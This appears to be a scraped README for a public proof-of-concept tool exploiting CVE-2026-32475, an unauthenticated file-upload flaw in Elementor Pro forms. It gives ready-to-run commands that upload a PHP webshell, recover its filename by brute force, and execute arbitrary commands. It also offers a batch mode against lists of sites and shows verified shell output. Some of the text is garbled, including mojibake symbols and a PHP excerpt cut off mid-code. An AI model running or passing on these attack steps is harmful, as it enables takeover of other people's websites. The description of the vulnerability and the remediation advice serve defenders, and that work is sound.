## https://sploitus.com/exploit?id=22A79D4C-9DA4-5BA0-B7E7-6BD891AED21D
# CVE-2026-32475 β Elementor Pro β€ 4.2.1 Unauthenticated Arbitrary File Upload β RCE
PoC for **CVE-2026-32475** (CVSS 9.0 Critical, CWE-434): an unauthenticated
arbitrary file upload in the Elementor Pro Forms module that leads to remote
code execution. Fixed in Elementor Pro **4.2.2** (2026-08-19). Reported by
Tin Pham (TF1T) via the Patchstack Bug Bounty program.
```
ββββββββ ββββββ βββ βββ ββββ ββββ ββββββββ ββββββββ βββββββ
ββββββββ ββββββββ βββ βββ βββββ βββββ ββββββββ ββββββββ ββββββββ
ββββββββ ββββββββ ββββββββ βββββββββββ ββββββββ ββββββ βββ
ββββββββ ββββββββ ββββββββ βββββββββββ ββββββββ ββββββ βββ
ββββββββ βββ βββ βββ βββ βββ βββ βββ ββββββββ ββββββββ ββββββββ
ββββββββ βββ βββ βββ βββ βββ βββ ββββββββ ββββββββ βββββββ
```
## β οΈ Legal disclaimer
This proof of concept is provided **for authorized security research,
education, and defensive testing only**.
- You must **own the target system** or have **explicit written permission**
from the system owner before running this tool against it.
- Unauthorized access to computer systems is illegal in most jurisdictions
(e.g., the Computer Fraud and Abuse Act in the US, the Computer Misuse Act
in the UK, and similar laws worldwide) and may carry criminal and civil
penalties.
- The authors and contributors assume **no liability** for any misuse,
damage, or legal consequences arising from the use of this code.
- By using this software you agree to use it responsibly and in compliance
with all applicable laws.
## What the vulnerability is
The File Upload field of Elementor Pro forms processes uploaded entries in
two separate loops with different semantics (`modules/forms/fields/upload.php`):
```php
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // .php`, a public web directory.
Requesting that URL directly = remote code execution.
The upload is handled by `POST /wp-admin/admin-ajax.php`
(`action=elementor_pro_forms_send_form`) with **no authentication and no
nonce**. The `post_id`, `form_id` and upload field name are visible in the
public page HTML, so the whole attack is unauthenticated.
## Requirements
**Target:**
- Elementor Pro **β€ 4.2.1** (all older versions are affected)
- At least one published page with a Form widget containing a File Upload field
- The upload field must **not** be marked as Required (the default state)
- No CAPTCHA on the form (reCAPTCHA/turnstile blocks the unauthenticated
submission)
- The uploads directory must execute PHP (default on most Apache/cPanel
hosting; blocked on some hardened nginx setups)
**Attacker:**
- Python 3.9+ (standard library only β no dependencies)
- Network access to the target
## Usage
Single target (auto-discovers the form page via sitemap/homepage):
```bash
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
```
Explicit form page:
```bash
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
```
Batch mode (`sites.txt`: one site per line β `base_url` or `base_url page_url`):
```bash
python script.py --list sites.txt --command "id" --cleanup --out results.json
```
JSON list format:
```json
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
```
Execute a command on an already-uploaded shell:
```bash
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/.php --command "id"
```
### Key options
| Flag | Default | Meaning |
|---|---|---|
| `--url` | - | single-target base URL |
| `--list` | - | batch mode list file |
| `--page-url` | `--url` | page that contains the form |
| `--command` | `id; hostname; uname -a` | command to run through the shell |
| `--cleanup` | off | self-delete the webshell after testing |
| `--field k=v` | - | override an auto-filled form field (repeatable) |
| `--tail` | 0.3 | seconds before the estimated upload time to fine-sweep |
| `--step-fine` | 1 | microsecond step of the fine sweep |
| `--full-second` | off | brute-force the full uniqid second (defeats clock skew) |
| `--attempts` | 1 | upload+sweep attempts (fresh random filename each) |
| `--max-probes` | 600000 | sweep request budget per attempt |
| `--workers` | 50 | parallel sweep threads |
| `--insecure` | off | ignore TLS errors (self-signed targets) |
| `--out file.json` | - | write the report as JSON |
## How the tool works
1. **Discovery** β fetches the target page (or crawls the sitemap and
homepage links, max 20 pages) to find a form with a File Upload field.
2. **Scraping** β extracts `post_id`, `form_id`, the upload field name and
every other form field; auto-fills all fields with plausible values so
required fields pass validation (override with `--field`).
3. **Upload** β sends the two-part multipart POST to `admin-ajax.php`.
Note: `success:false` with an *empty* `errors` object is still treated as
uploaded, because the default Email action throws *after* the file move
when `wp_mail()` fails. Only a rejection of the upload field itself
(`file type is not allowed`) counts as blocked.
4. **Filename recovery** β `uniqid()` = 8 hex seconds + 5 hex microseconds.
The seconds come from the response `Date` header; the sub-second fraction
is estimated from `(t1 - date_epoch) % 1` (accurate when attacker and
server clocks are close). A keep-alive prober (~30x faster than one
request per connection) sweeps the move window at microsecond resolution;
`--full-second` brute-forces the entire second when clocks skew.
5. **Execution** β `GET ?c=` runs the command;
`--cleanup` deletes the shell via `?x=1`.
### Result states
| Status | Meaning |
|---|---|
| `vulnerable` | shell uploaded and command executed β patch now |
| `blocked` | upload field rejected (patched 4.2.2+, required field, WAF, captcha) |
| `uploaded_no_exec` | file landed but filename not recovered (retry with `--full-second`) |
| `no_form` | no vulnerable form found on the target |
| `error` | connection/network error |
## Lab reproduction
`docker-compose.yml` + `setup_form_page.php` reproduce the vulnerable target:
```bash
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! --admin_email=admin@lab.local
docker compose run --rm wpcli wp plugin install elementor --activate
# place your legally obtained elementor-pro.zip (<= 4.2.1) in the project dir, then:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
```
## Verified output
```
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
```
## References
- [Patchstack advisory](https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin)
- [NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2026-32475)
- Elementor Pro changelog (4.2.2)
## Remediation
Update Elementor Pro to **4.2.2+**. Updating closes the hole but does not
remove shells that were already uploaded β audit
`wp-content/uploads/elementor/forms/` for stray `.php` files.
---
**For authorized security research and lab use only.**